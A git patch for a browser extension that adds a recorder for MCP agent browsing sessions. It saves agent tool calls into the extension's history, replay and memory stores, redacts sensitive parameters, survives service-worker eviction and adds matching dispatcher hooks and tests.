From 721e28269f93dcaba38f78a22046efc4ab80580e Mon Sep 17 00:00:00 2001 From: Lakshman Date: Tue, 7 Jul 2026 05:58:30 -0500 Subject: [PATCH 001/581] feat(quick-260707-7id): record MCP agent sessions into logs/history/replay/memory - new extension/utils/mcp-session-recorder.js: sessions keyed agentId+tabId, birthed by the visualSession sidecar, closed on isFinal or 60s sliding idle, persisted via direct automationLogger.saveSession + extractAndStoreMemories globals with mode 'mcp-agent' and replay-shape actionHistory - sibling recordDispatch hooks in BOTH dispatcher finally blocks (message route gated by !_mcpMetricsSuppressInner; metrics Test 9 pins undisturbed) - eviction survival via versioned fsbMcpSessionBuffer chrome.storage.session envelope; key-targeted sensitive-param redaction, replay values raw - run_task and pure read-only bursts never recorded - automation-logger carries mode + mcpClient through saveSession and the session index; sidepanel history badge (MCP vs Autopilot) - lattice importScripts tally bumped 309->310 mentions / 305->306 call sites - tests/mcp-session-recorder.test.js: 10 locked cases + eviction restore + source-pin guards (94 assertions) --- extension/background.js | 5 + extension/ui/sidepanel.js | 3 + extension/utils/automation-logger.js | 10 + extension/utils/mcp-session-recorder.js | 697 ++++++++++++++++++++ extension/ws/mcp-tool-dispatcher.js | 44 ++ tests/lattice-provider-bridge-smoke.test.js | 7 +- tests/mcp-session-recorder.test.js | 623 +++++++++++++++++ 7 files changed, 1387 insertions(+), 2 deletions(-) create mode 100644 extension/utils/mcp-session-recorder.js create mode 100644 tests/mcp-session-recorder.test.js diff --git a/extension/background.js b/extension/background.js index cbf759295..8aa8021ef 100644 --- a/extension/background.js +++ b/extension/background.js @@ -72,6 +72,11 @@ try { importScripts('utils/mcp-pricing.js'); } catch (e) { console.error('[FSB] // (it calls fsbMcpPricing) and AFTER mcp-tool-dispatcher.js (dispatcher hooks // call globalThis.fsbMcpMetricsRecorder). try { importScripts('utils/mcp-metrics-recorder.js'); } catch (e) { console.error('[FSB] Failed to load mcp-metrics-recorder.js:', e.message); } +// Quick 260707-7id -- MCP session recorder. Loaded AFTER the dispatcher and +// the metrics recorder: the dispatcher's finally-block sibling hooks call +// globalThis.fsbMcpSessionRecorder lazily, and this placement keeps the +// global ready before any WS dispatch can fire. +try { importScripts('utils/mcp-session-recorder.js'); } catch (e) { console.error('[FSB] Failed to load mcp-session-recorder.js:', e.message); } // Phase 272 / v0.9.69 -- TelemetryCollector. Loaded AFTER mcp-metrics-recorder // (collector reads the rows the recorder writes to fsbUsageData). The alarm // handler in chrome.alarms.onAlarm + the install_announce setTimeout in diff --git a/extension/ui/sidepanel.js b/extension/ui/sidepanel.js index 19c14a83a..bf39c7972 100644 --- a/extension/ui/sidepanel.js +++ b/extension/ui/sidepanel.js @@ -3454,6 +3454,9 @@ async function loadHistoryList() { '' + formatSessionDate(session.startTime) + '' + '' + (session.actionCount || 0) + ' actions' + costDisplay + + (session.mode === 'mcp-agent' + ? 'MCP ยท ' + escapeHtml(session.mcpClient || 'Agent') + '' + : 'Autopilot') + '' + escapeHtml(session.status || 'unknown') + '' + '' + '' + diff --git a/extension/utils/automation-logger.js b/extension/utils/automation-logger.js index 1a8526c6b..796d94de1 100644 --- a/extension/utils/automation-logger.js +++ b/extension/utils/automation-logger.js @@ -737,6 +737,9 @@ if (globalThis.__FSB_AUTOMATION_LOGGER_LOADED__) { existing.totalCost = sessionData.totalCost || existing.totalCost || 0; existing.totalInputTokens = sessionData.totalInputTokens || existing.totalInputTokens || 0; existing.totalOutputTokens = sessionData.totalOutputTokens || existing.totalOutputTokens || 0; + // Quick 260707-7id: session source discriminator + MCP client label + existing.mode = sessionData.mode || existing.mode || 'autopilot'; + existing.mcpClient = sessionData.mcpClient || existing.mcpClient || null; existing.outcome = normalizedOutcome.outcome; existing.outcomeDetails = normalizedOutcome.outcomeDetails; existing.result = normalizedOutcome.result; @@ -771,6 +774,9 @@ if (globalThis.__FSB_AUTOMATION_LOGGER_LOADED__) { endTime: Date.now(), status: sessionData.status || 'completed', tabId: sessionData.tabId || null, + // Quick 260707-7id: session source discriminator + MCP client label + mode: sessionData.mode || 'autopilot', + mcpClient: sessionData.mcpClient || null, actionCount: sessionData.actionHistory?.length || 0, iterationCount: sessionData.iterationCount || 0, conversationId: metadata.conversationId, @@ -808,6 +814,10 @@ if (globalThis.__FSB_AUTOMATION_LOGGER_LOADED__) { id: sessionId, task: savedSession.task, startTime: savedSession.startTime, endTime: savedSession.endTime, status: savedSession.status, actionCount: savedSession.actionCount, domSnapshotCount: snapshotCount, + // Quick 260707-7id: source badge fields (entries predating this + // change lack them and default to Autopilot in the UI) + mode: savedSession.mode || 'autopilot', + mcpClient: savedSession.mcpClient || null, totalCost: savedSession.totalCost || 0, outcome: savedSession.outcome || null, outcomeDetails: savedSession.outcomeDetails || null, diff --git a/extension/utils/mcp-session-recorder.js b/extension/utils/mcp-session-recorder.js new file mode 100644 index 000000000..945e55e56 --- /dev/null +++ b/extension/utils/mcp-session-recorder.js @@ -0,0 +1,697 @@ +/** + * MCP Session Recorder -- assembles MCP-agent browsing sessions and lands + * them in the SAME logs/history/replay/memory pipeline autopilot runs use. + * + * Quick task 260707-7id. Sibling of the Phase 271 metrics recorder at the two + * dispatcher choke points in extension/ws/mcp-tool-dispatcher.js + * (dispatchMcpToolRoute + dispatchMcpMessageRoute finally blocks). Each + * recordDispatch() call folds one resolved MCP dispatch into an in-memory + * open-session record keyed agentId+tabId; the visualSession sidecar drives + * the lifecycle (birth on first action tool, close on isFinal or 60s idle). + * + * On close the assembled session flows through DIRECT service-worker + * globals -- NEVER chrome.runtime.sendMessage, which does not loop back + * inside the SW: + * - globalThis.automationLogger.saveSession(sessionId, session) -- the + * fsbSessionLogs/fsbSessionIndex history store (mode + mcpClient badge + * fields carried by this task's automation-logger.js change). + * - extractAndStoreMemories(sessionId, session) -- background.js memory + * handoff; verified to tolerate a missing AI instance. + * - createSession(overrides) -- ai/session-schema.js factory when present + * (SW runtime); a manual same-keys object under bare Node. + * + * Persisted actionHistory entries are {tool, params, result, timestamp} so + * the existing replay engine (background.js loadReplayableSession / + * executeReplaySequence) consumes MCP sessions unmodified. params get a + * KEY-TARGETED sensitive-value redaction (password/secret/token/credential/ + * api-key/authorization -- threat T-q7id-01) while replay-critical values + * (url, selector, text) persist raw. + * + * Open sessions survive MV3 SW eviction via a chrome.storage.session + * versioned envelope (key fsbMcpSessionBuffer, v1 -- envelope pattern + * mirrors utils/mcp-task-store.js: canonical empty on missing/mismatched/ + * malformed; storage key removed when records is empty). + * + * Never-record rules: + * - run_task dispatches are skipped entirely (they alias to + * mcp:start-automation and the automation engine already records that + * run -- recording here would double sessions). + * - Read-only bursts (agentId but never a visualSession sidecar) never + * birth sessions; sidecar-less calls only JOIN an already-open session + * for the same agentId. + * + * recordDispatch NEVER throws and never returns a meaningful value + * (fire-and-forget contract, threat T-q7id-02) -- the dispatcher further + * insulates the call sites in their own try/catch as defence in depth. + * + * Loading: background.js pulls this file as a classic script right after + * utils/mcp-metrics-recorder.js. Lazy globalThis.chrome access keeps the + * module require()-able under plain Node for the test harness at + * tests/mcp-session-recorder.test.js. + * + * @module extension/utils/mcp-session-recorder + */ + +(function () { + 'use strict'; + + // ---- Constants ---------------------------------------------------------- + + var FSB_MCP_SESSION_BUFFER_KEY = 'fsbMcpSessionBuffer'; + var FSB_MCP_SESSION_BUFFER_VERSION = 1; + + // Mirrors MCP_VISUAL_LIFECYCLE_DEATH_MS + // (extension/utils/mcp-visual-session-lifecycle.js:79) -- a sliding 60s + // idle window re-armed on every recorded dispatch. Deliberately NOT read + // from that module: the recorder keeps its OWN timer so the two + // lifecycles stay decoupled. + var MCP_SESSION_IDLE_DEATH_MS = 60000; + + // In-memory actionHistory cap -- matches the saveSession persistence cap + // (automation-logger.js slice(-100)) so memory cannot grow unbounded on a + // long-lived agent session. + var MCP_SESSION_ACTION_HISTORY_CAP = 100; + + // Key-targeted redaction pattern (threat T-q7id-01). VALUES of matching + // keys are replaced before any persist; everything else persists raw for + // replay fidelity. Note ownershipToken never enters actionHistory because + // only payload.params is recorded, but the pattern also catches a + // params-level token if one ever appears. + var SENSITIVE_KEY_PATTERN = /pass(word)?|secret|token|credential|api[-_]?key|authorization/i; + + // ---- In-memory state ---------------------------------------------------- + + // key = agentId + '::' + tabKey; value = open-session record. + var _openSessions = new Map(); + // key -> idle-timer handle (kept out of the session record so records + // serialize cleanly into the storage envelope). + var _idleTimers = new Map(); + // Monotonic guard for the autopilot-format session id (session_): + // same-ms births within THIS recorder get last+1. Cross-engine same-ms + // collision accepted per locked design. + var _lastGeneratedSessionTs = 0; + + // ---- Test seams (mirroring mcp-metrics-recorder.js) --------------------- + + var _storageShim = null; + var _timeShim = null; + + function _setStorageShim(shim) { + _storageShim = shim; + } + + // shim = { now, setTimeout, clearTimeout } (any subset). Pass null to + // restore real time. + function _setTimeShim(shim) { + _timeShim = shim || null; + } + + function _now() { + if (_timeShim && typeof _timeShim.now === 'function') return _timeShim.now(); + return Date.now(); + } + + function _setIdleTimeout(fn, ms) { + if (_timeShim && typeof _timeShim.setTimeout === 'function') return _timeShim.setTimeout(fn, ms); + return setTimeout(fn, ms); + } + + function _clearIdleTimeout(handle) { + if (_timeShim && typeof _timeShim.clearTimeout === 'function') return _timeShim.clearTimeout(handle); + return clearTimeout(handle); + } + + // ---- Lazy global accessors ---------------------------------------------- + + function _getChrome() { + return (typeof globalThis !== 'undefined' && globalThis.chrome) ? globalThis.chrome : null; + } + + function _resolveSessionStorage() { + if (_storageShim) return _storageShim; + var c = _getChrome(); + if (c && c.storage && c.storage.session) return c.storage.session; + return null; + } + + function _getAutomationLogger() { + return (typeof globalThis !== 'undefined' && globalThis.automationLogger) ? globalThis.automationLogger : null; + } + + // ---- Redaction ----------------------------------------------------------- + + // Replace the VALUE under a sensitive key. Uses the shape-only + // globalThis.redactForLog helper when available (lazy guard exactly like + // audit-log.js), else the literal '[REDACTED]'. NEVER shape-redacts whole + // params -- that would destroy replay fidelity. + function _redactValue(value) { + try { + if (typeof globalThis !== 'undefined' && typeof globalThis.redactForLog === 'function') { + return globalThis.redactForLog(value); + } + } catch (_e) { /* fall through to literal */ } + return '[REDACTED]'; + } + + function _redactSensitiveKeysInPlace(node) { + if (!node || typeof node !== 'object') return; + if (Array.isArray(node)) { + for (var i = 0; i < node.length; i++) { + _redactSensitiveKeysInPlace(node[i]); + } + return; + } + var keys = Object.keys(node); + for (var k = 0; k < keys.length; k++) { + var key = keys[k]; + if (SENSITIVE_KEY_PATTERN.test(key)) { + node[key] = _redactValue(node[key]); + } else { + _redactSensitiveKeysInPlace(node[key]); + } + } + } + + // Deep-clone via JSON round-trip (try/catch fallback to {}), then walk the + // clone replacing values under sensitive keys. url/selector/text persist + // raw -- the replay engine consumes recorded params unmodified. + function redactParams(params) { + var clone; + try { + clone = JSON.parse(JSON.stringify(params === undefined ? null : params)); + } catch (_e) { + return {}; + } + if (!clone || typeof clone !== 'object') return {}; + _redactSensitiveKeysInPlace(clone); + return clone; + } + + // ---- Open-session buffer persistence (eviction survival) ---------------- + + // Serialized through a small promise-chain lock like _withRecordLock in + // mcp-metrics-recorder.js so two persists cannot interleave their + // read-modify-write cycles. + var _persistLock = Promise.resolve(); + + function _withPersistLock(fn) { + var next = _persistLock.then(fn, fn); + _persistLock = next.catch(function () { /* keep chain alive */ }); + return next; + } + + async function _readBufferEnvelope() { + var storage = _resolveSessionStorage(); + if (!storage || typeof storage.get !== 'function') { + return { v: FSB_MCP_SESSION_BUFFER_VERSION, records: {} }; + } + try { + var stored = await storage.get([FSB_MCP_SESSION_BUFFER_KEY]); + var payload = stored ? stored[FSB_MCP_SESSION_BUFFER_KEY] : null; + if (!payload || typeof payload !== 'object') { + return { v: FSB_MCP_SESSION_BUFFER_VERSION, records: {} }; + } + if (payload.v !== FSB_MCP_SESSION_BUFFER_VERSION) { + return { v: FSB_MCP_SESSION_BUFFER_VERSION, records: {} }; + } + if (!payload.records || typeof payload.records !== 'object') { + return { v: FSB_MCP_SESSION_BUFFER_VERSION, records: {} }; + } + return payload; + } catch (_e) { + return { v: FSB_MCP_SESSION_BUFFER_VERSION, records: {} }; + } + } + + async function _writeBufferEnvelope(records) { + var storage = _resolveSessionStorage(); + if (!storage) return; + try { + var nextRecords = (records && typeof records === 'object') ? records : {}; + if (Object.keys(nextRecords).length === 0) { + // Remove the storage key when records is empty (mcp-task-store.js + // pattern) -- no stale envelope sitting in storage forever. + if (typeof storage.remove === 'function') { + await storage.remove(FSB_MCP_SESSION_BUFFER_KEY); + } + return; + } + if (typeof storage.set !== 'function') return; + var toWrite = {}; + toWrite[FSB_MCP_SESSION_BUFFER_KEY] = { + v: FSB_MCP_SESSION_BUFFER_VERSION, + records: nextRecords + }; + await storage.set(toWrite); + } catch (_e) { /* best-effort -- persistence must never break recording */ } + } + + function _serializeRecord(session) { + return { + sessionId: session.sessionId, + agentId: session.agentId, + tabId: session.tabId, + task: session.task, + client: session.client, + startTime: session.startTime, + lastActivityAt: session.lastActivityAt, + deadlineAt: session.deadlineAt, + lastUrl: session.lastUrl, + visualReasons: session.visualReasons.slice(), + actionHistory: session.actionHistory.slice(), + sawActionTool: session.sawActionTool === true + }; + } + + // Fire-and-forget snapshot of every open session into the versioned + // envelope. Called after every state mutation. + function _persistOpenSessions() { + try { + _withPersistLock(async function () { + var records = {}; + _openSessions.forEach(function (session, key) { + records[key] = _serializeRecord(session); + }); + await _writeBufferEnvelope(records); + }); + } catch (_e) { /* best-effort */ } + } + + // ---- Session identity helpers ------------------------------------------- + + function _generateSessionId() { + // Autopilot session id format (background.js: `session_${Date.now()}`) + // with a monotonic same-ms guard scoped to this recorder. + var ts = _now(); + if (ts <= _lastGeneratedSessionTs) { + ts = _lastGeneratedSessionTs + 1; + } + _lastGeneratedSessionTs = ts; + return 'session_' + ts; + } + + function _numericTabId(raw) { + if (typeof raw === 'number' && isFinite(raw)) return raw; + if (typeof raw === 'string' && /^\d+$/.test(raw)) return parseInt(raw, 10); + return null; + } + + function _tabKeyPart(numericTabId) { + return numericTabId === null ? 'none' : String(numericTabId); + } + + // JOIN attribution fallback: the open session with matching agentId that + // has the most recent lastActivityAt, any tabId -- mirrors + // resolveMcpClientLabel's per-agent semantics. + function _findMostRecentSessionForAgent(agentId) { + var best = null; + _openSessions.forEach(function (session) { + if (session.agentId !== agentId) return; + if (!best || session.lastActivityAt > best.lastActivityAt) best = session; + }); + return best; + } + + // ---- Idle timer (sliding 60s window) ------------------------------------ + + function _disarmIdleTimer(key) { + var handle = _idleTimers.get(key); + if (handle !== undefined) { + try { _clearIdleTimeout(handle); } catch (_e) { /* ignore */ } + _idleTimers.delete(key); + } + } + + function _armIdleTimer(session) { + var key = session.key; + _disarmIdleTimer(key); + var delay = session.deadlineAt - _now(); + if (delay < 0) delay = 0; + try { + var handle = _setIdleTimeout(function () { + try { + _idleTimers.delete(key); + var live = _openSessions.get(key); + if (!live) return; + if (live.deadlineAt <= _now()) { + closeSession(key, 'expired'); + } else { + // Stale timer (deadline slid forward without a re-arm) -- re-arm + // for the remaining window instead of closing early. + _armIdleTimer(live); + } + } catch (_e) { /* never throw out of a timer */ } + }, delay); + _idleTimers.set(key, handle); + } catch (_e) { /* timers unavailable -- lazy sweep still closes expired */ } + } + + // Lazy sweep: close any open session whose deadline has passed. Runs at + // the top of every recordDispatch so expiry works even if timers were + // lost (SW eviction between dispatches). + function _sweepExpired(now) { + var expiredKeys = []; + _openSessions.forEach(function (session, key) { + if (session.deadlineAt <= now) expiredKeys.push(key); + }); + for (var i = 0; i < expiredKeys.length; i++) { + closeSession(expiredKeys[i], 'expired'); + } + } + + // ---- Session close -------------------------------------------------------- + + /** + * Close an open session: remove it from the map, then (if it saw at least + * one action tool and holds at least one actionHistory entry) build the + * schema session object and hand it to the history + memory pipeline via + * DIRECT globals. Never throws. + * + * @param {string} key - agentId::tabKey map key. + * @param {string} _reason - 'final' | 'expired' (diagnostic only). + */ + function closeSession(key, _reason) { + try { + var session = _openSessions.get(key); + if (!session) return; + _openSessions.delete(key); + _disarmIdleTimer(key); + _persistOpenSessions(); + + // >=1-action persistence gate (defence in depth -- the JOIN rule + // already prevents sidecar-less births). + if (session.sawActionTool !== true || session.actionHistory.length < 1) return; + + var endTime = _now(); + var overrides = { + id: session.sessionId, + task: session.task, + status: 'completed', + startTime: session.startTime, + endTime: endTime, + tabId: session.tabId, + actionHistory: session.actionHistory, + iterationCount: session.actionHistory.length, + lastUrl: session.lastUrl, + mode: 'mcp-agent', + mcpClient: session.client + }; + + // createSession is a SW global at runtime (ai/session-schema.js loads + // as a classic script) but absent in bare Node and absent at this + // module's load time -- always lazy-guard. + var sessionObject = (typeof createSession === 'function') + ? createSession(overrides) + : Object.assign({}, overrides); + + var logger = _getAutomationLogger(); + if (logger) { + // saveSession gates on session-bound logs (automation-logger.js:709 + // returns false when getSessionLogs(sessionId) is empty). Birth + // seeds logs via logSessionStart, but a session restored after SW + // eviction has an EMPTY in-memory log buffer -- re-seed one + // session-bound entry so the gate passes. + try { + if (typeof logger.getSessionLogs === 'function' && + typeof logger.logSessionStart === 'function') { + var existingLogs = logger.getSessionLogs(session.sessionId); + if (!existingLogs || existingLogs.length === 0) { + logger.logSessionStart(session.sessionId, session.task, session.tabId); + } + } + } catch (_e) { /* best-effort */ } + + // DIRECT global call -- chrome.runtime.sendMessage does NOT loop + // back inside the SW, so message-passing here would silently drop. + try { + if (typeof logger.saveSession === 'function') { + var saveResult = logger.saveSession(session.sessionId, sessionObject); + if (saveResult && typeof saveResult.catch === 'function') { + saveResult.catch(function () { /* best-effort */ }); + } + } + } catch (_e) { /* never let history persistence break close */ } + } + + // Memory handoff -- background.js extractAndStoreMemories tolerates a + // missing AI instance and calls memoryManager.add unconditionally. + // Absent under bare Node: skip silently. + try { + if (typeof extractAndStoreMemories === 'function') { + var memoryResult = extractAndStoreMemories(session.sessionId, sessionObject); + if (memoryResult && typeof memoryResult.catch === 'function') { + memoryResult.catch(function () { /* fire-and-forget */ }); + } + } + } catch (_e) { /* never let memory handoff break close */ } + } catch (_outerErr) { + try { + if (typeof console !== 'undefined' && typeof console.debug === 'function') { + console.debug('[FSB MCP Session Recorder] close failed:', + _outerErr && _outerErr.message ? _outerErr.message : _outerErr); + } + } catch (_e) { /* ignore */ } + } + } + + // ---- recordDispatch (public surface) ------------------------------------- + + /** + * Record a single resolved MCP dispatch. Fire-and-forget: NEVER throws, + * never returns a meaningful value, never alters the dispatcher's resolved + * value or thrown error (threat T-q7id-02). + * + * Entry shape mirrors the metrics recorder hook exactly: + * { client, tool, requestPayload, response, success, dispatcher_route } + * + * @param {object} entry - The dispatch context from the dispatcher finally. + */ + function recordDispatch(entry) { + try { + if (!entry || typeof entry !== 'object') return; + var payload = (entry.requestPayload && typeof entry.requestPayload === 'object') + ? entry.requestPayload + : {}; + var agentId = payload.agentId; + if (typeof agentId !== 'string' || agentId.length === 0) return; + + // run_task aliases to mcp:start-automation and the automation engine + // already records that run -- recording it here would double sessions. + if (entry.tool === 'run_task') return; + + var now = _now(); + _sweepExpired(now); + + var params = (payload.params && typeof payload.params === 'object') ? payload.params : {}; + var numericTabId = _numericTabId(params.tabId); + var sidecar = (payload.visualSession && typeof payload.visualSession === 'object') + ? payload.visualSession + : null; + + var session = null; + var key = null; + + if (sidecar) { + // Action tool call -- the sidecar exists ONLY on mutating action + // tools. Look up (or birth) the session keyed agentId+tabId. + key = agentId + '::' + _tabKeyPart(numericTabId); + session = _openSessions.get(key) || null; + if (!session) { + var sessionId = _generateSessionId(); + var task = (typeof sidecar.visualReason === 'string' && sidecar.visualReason.length > 0) + ? sidecar.visualReason + : String(entry.tool); + var client = (typeof sidecar.client === 'string' && sidecar.client.length > 0) + ? sidecar.client + : ((typeof entry.client === 'string' && entry.client.length > 0) ? entry.client : 'unknown'); + session = { + key: key, + sessionId: sessionId, + agentId: agentId, + tabId: numericTabId, + task: task, + client: client, + startTime: now, + lastActivityAt: now, + deadlineAt: now + MCP_SESSION_IDLE_DEATH_MS, + lastUrl: null, + visualReasons: [], + actionHistory: [], + sawActionTool: false + }; + _openSessions.set(key, session); + // Seed session-bound logs so saveSession's empty-logs gate passes. + var birthLogger = _getAutomationLogger(); + if (birthLogger && typeof birthLogger.logSessionStart === 'function') { + try { birthLogger.logSessionStart(sessionId, task, numericTabId); } catch (_e) { /* best-effort */ } + } + } + session.sawActionTool = true; + } else { + // Read-only tool route or message route -- JOIN the most recently + // active open session for this agentId. No open session -> ignore + // (this structurally enforces the >=1-action persistence gate: + // read-only calls never birth sessions). + session = _findMostRecentSessionForAgent(agentId); + if (!session) return; + key = session.key; + } + + // Append the action in replay shape {tool, params, result, timestamp}. + var redactedParams = redactParams(params); + session.actionHistory.push({ + tool: entry.tool, + params: redactedParams, + result: entry.response, + timestamp: now + }); + if (session.actionHistory.length > MCP_SESSION_ACTION_HISTORY_CAP) { + session.actionHistory.splice(0, session.actionHistory.length - MCP_SESSION_ACTION_HISTORY_CAP); + } + + // lastUrl feeds extractAndStoreMemories' domain fallback. + if (entry.tool === 'navigate' && typeof params.url === 'string' && params.url.length > 0 && entry.success) { + session.lastUrl = params.url; + } + + if (sidecar && typeof sidecar.visualReason === 'string' && sidecar.visualReason.length > 0 && + session.visualReasons.indexOf(sidecar.visualReason) === -1) { + session.visualReasons.push(sidecar.visualReason); + } + + var logger = _getAutomationLogger(); + if (logger && typeof logger.logAction === 'function') { + try { + logger.logAction(session.sessionId, { tool: entry.tool, params: redactedParams }, entry.response); + } catch (_e) { /* best-effort */ } + } + + // Sliding 60s idle window (mirrors mcp-visual-session-lifecycle + // semantics): every recorded call re-arms the deadline. + session.lastActivityAt = now; + session.deadlineAt = now + MCP_SESSION_IDLE_DEATH_MS; + + // Tolerate both isFinal (wire spec) and snake_case is_final. + var isFinal = sidecar !== null && (sidecar.isFinal === true || sidecar.is_final === true); + if (isFinal) { + // Close AFTER the append so the final action is part of the history. + // closeSession persists the buffer update itself. + closeSession(key, 'final'); + } else { + _armIdleTimer(session); + _persistOpenSessions(); + } + } catch (_outerErr) { + // Whole-body safety net -- never throw out of the recorder. + try { + if (typeof console !== 'undefined' && typeof console.debug === 'function') { + console.debug('[FSB MCP Session Recorder]', + _outerErr && _outerErr.message ? _outerErr.message : _outerErr); + } + } catch (_e) { /* ignore */ } + } + } + + // ---- Eviction restore ----------------------------------------------------- + + /** + * Rehydrate open sessions from the storage envelope. Sessions whose + * deadline already passed close (and persist) immediately; live ones + * re-arm for the remaining window. Fire-and-forget at module load; + * exposed underscored so tests can drive the path deterministically. + * + * @returns {Promise} + */ + function _restoreFromBuffer() { + return (async function () { + try { + var envelope = await _readBufferEnvelope(); + var records = envelope.records || {}; + var keys = Object.keys(records); + if (keys.length === 0) return; + var now = _now(); + for (var i = 0; i < keys.length; i++) { + var key = keys[i]; + var record = records[key]; + if (!record || typeof record !== 'object' || typeof record.sessionId !== 'string') continue; + var session = { + key: key, + sessionId: record.sessionId, + agentId: (typeof record.agentId === 'string') ? record.agentId : '', + tabId: (typeof record.tabId === 'number' && isFinite(record.tabId)) ? record.tabId : null, + task: (typeof record.task === 'string' && record.task.length > 0) ? record.task : 'MCP agent session', + client: (typeof record.client === 'string' && record.client.length > 0) ? record.client : 'unknown', + startTime: (typeof record.startTime === 'number') ? record.startTime : now, + lastActivityAt: (typeof record.lastActivityAt === 'number') ? record.lastActivityAt : now, + deadlineAt: (typeof record.deadlineAt === 'number') ? record.deadlineAt : 0, + lastUrl: (typeof record.lastUrl === 'string') ? record.lastUrl : null, + visualReasons: Array.isArray(record.visualReasons) ? record.visualReasons : [], + actionHistory: Array.isArray(record.actionHistory) ? record.actionHistory : [], + sawActionTool: record.sawActionTool === true + }; + _openSessions.set(key, session); + if (session.deadlineAt <= now) { + closeSession(key, 'expired'); + } else { + _armIdleTimer(session); + } + } + // Sync the envelope with whatever survived the restore pass. + _persistOpenSessions(); + } catch (_e) { /* best-effort */ } + })(); + } + + // ---- Test seams ----------------------------------------------------------- + + function _peekOpenSessions() { + var out = {}; + _openSessions.forEach(function (session, key) { + out[key] = _serializeRecord(session); + }); + return out; + } + + function _resetForTests() { + _openSessions.forEach(function (_session, key) { + _disarmIdleTimer(key); + }); + _openSessions.clear(); + _idleTimers.clear(); + _lastGeneratedSessionTs = 0; + } + + // ---- Registration --------------------------------------------------------- + + var _api = { + recordDispatch: recordDispatch, + redactParams: redactParams, + FSB_MCP_SESSION_BUFFER_KEY: FSB_MCP_SESSION_BUFFER_KEY, + MCP_SESSION_IDLE_DEATH_MS: MCP_SESSION_IDLE_DEATH_MS, + _setStorageShim: _setStorageShim, + _setTimeShim: _setTimeShim, + _peekOpenSessions: _peekOpenSessions, + _resetForTests: _resetForTests, + _restoreFromBuffer: _restoreFromBuffer + }; + + // Service-worker classic-script surface (object-literal registration + // mirroring mcp-metrics-recorder.js). + globalThis.fsbMcpSessionRecorder = _api; + + // Node CommonJS surface for the test harness. + if (typeof module !== 'undefined' && module.exports) { + module.exports = _api; + } + + // Fire-and-forget eviction restore at module load. Async storage read + // resolves AFTER the SW's synchronous startup script completes, so + // automationLogger / createSession / extractAndStoreMemories globals are + // all present by the time any expired session closes. + try { + var _restorePromise = _restoreFromBuffer(); + if (_restorePromise && typeof _restorePromise.catch === 'function') { + _restorePromise.catch(function () { /* best-effort */ }); + } + } catch (_e) { /* best-effort */ } +})(); diff --git a/extension/ws/mcp-tool-dispatcher.js b/extension/ws/mcp-tool-dispatcher.js index 272b755f9..fe4bcf0b5 100644 --- a/extension/ws/mcp-tool-dispatcher.js +++ b/extension/ws/mcp-tool-dispatcher.js @@ -576,6 +576,27 @@ async function dispatchMcpToolRoute({ tool, params = {}, client = null, tab = nu }); } } catch (_e) { /* defence in depth -- never let metrics break dispatch */ } + // Quick 260707-7id -- MCP session recorder sibling hook. SEPARATE + // try/catch statement placed AFTER the metrics block so the Test 9 + // regex spans over fsbMcpMetricsRecorder stay undisturbed. Same + // fire-and-forget contract: NOT awaited, never alters the dispatcher's + // resolved value or thrown error. + try { + if ( + typeof globalThis !== 'undefined' && + globalThis.fsbMcpSessionRecorder && + typeof globalThis.fsbMcpSessionRecorder.recordDispatch === 'function' + ) { + globalThis.fsbMcpSessionRecorder.recordDispatch({ + client: resolveMcpClientLabel(payload), + tool, + requestPayload: payload, + response, + success, + dispatcher_route: 'tool' + }); + } + } catch (_e) { /* defence in depth -- never let session recording break dispatch */ } } } @@ -660,6 +681,29 @@ async function dispatchMcpMessageRoute({ type, payload = {}, client = null, mcpM }); } } catch (_e) { /* defence in depth -- never let metrics break dispatch */ } + // Quick 260707-7id -- MCP session recorder sibling hook (message + // surface). INSIDE the !_mcpMetricsSuppressInner gate: alias-routed + // tools (run_task, read_page, ...) are recorded once by the outer + // dispatchMcpToolRoute, so the suppression flag MUST gate the session + // recorder too or aliased dispatches would be recorded twice. + // Separate sibling try/catch AFTER the metrics block (Test 9 regex + // spans undisturbed); fire-and-forget, NOT awaited, no return. + try { + if ( + typeof globalThis !== 'undefined' && + globalThis.fsbMcpSessionRecorder && + typeof globalThis.fsbMcpSessionRecorder.recordDispatch === 'function' + ) { + globalThis.fsbMcpSessionRecorder.recordDispatch({ + client: resolveMcpClientLabel(payload), + tool: type, + requestPayload: payload, + response, + success, + dispatcher_route: 'message' + }); + } + } catch (_e) { /* defence in depth -- never let session recording break dispatch */ } } } } diff --git a/tests/lattice-provider-bridge-smoke.test.js b/tests/lattice-provider-bridge-smoke.test.js index cf59648ac..b5af6ec7e 100644 --- a/tests/lattice-provider-bridge-smoke.test.js +++ b/tests/lattice-provider-bridge-smoke.test.js @@ -615,8 +615,10 @@ async function loadOffscreenHandlerSource(chromeMock) { // landed handlers). // FINT-13 "actually load the adapter in SW" (commit a3c03e6a) adds 1 mention // (the ai/lattice-runtime-adapter.js importScripts() call) -> 309. + // Quick 260707-7id: 310 mentions (+1 new line for utils/mcp-session-recorder.js + // -- MCP session recorder; comment lines deliberately token-free). const importScriptsCount = (bgSource.match(/importScripts/g) || []).length; - passAssertEqual(importScriptsCount, 309, 'background.js importScripts count = 309 (current head set including Google Cloud, parallel T1 handlers, and the FINT-13 lattice-runtime-adapter load)'); + passAssertEqual(importScriptsCount, 310, 'background.js importScripts count = 310 (current head set + the Quick 260707-7id mcp-session-recorder load)'); // Companion call-site-only count (regex requires open paren): Phase 5 baseline // was 150 actual importScripts() calls; Phase 6 adds 1 -> 151; Phase 8 adds 1 -> 152; // Phase 14 adds 2 (trigger-store + trigger-lifecycle) -> 154; Phase 15 adds 2 @@ -649,8 +651,9 @@ async function loadOffscreenHandlerSource(chromeMock) { // (+14 handler importScripts() calls vs. the pre-review 290 pin). // FINT-13 "actually load the adapter in SW" (commit a3c03e6a) adds 1 call site // (ai/lattice-runtime-adapter.js) -> 305. + // Quick 260707-7id adds 1 call site (utils/mcp-session-recorder.js) -> 306. const importScriptsCallSites = (bgSource.match(/importScripts\(/g) || []).length; - passAssertEqual(importScriptsCallSites, 305, 'background.js importScripts() call sites = 305 (current head set including Google Cloud, parallel T1 handlers, and the FINT-13 lattice-runtime-adapter load)'); + passAssertEqual(importScriptsCallSites, 306, 'background.js importScripts() call sites = 306 (current head set + the Quick 260707-7id mcp-session-recorder load)'); const lineCli = bgLines.findIndex(l => /importScripts\(['"]ai\/cli-parser\.js['"]\)/.test(l)); const lineBridge = bgLines.findIndex(l => /importScripts\(['"]ai\/lattice-provider-bridge\.js['"]\)/.test(l)); diff --git a/tests/mcp-session-recorder.test.js b/tests/mcp-session-recorder.test.js new file mode 100644 index 000000000..c65cf675c --- /dev/null +++ b/tests/mcp-session-recorder.test.js @@ -0,0 +1,623 @@ +/** + * Regression suite for extension/utils/mcp-session-recorder.js + * (quick 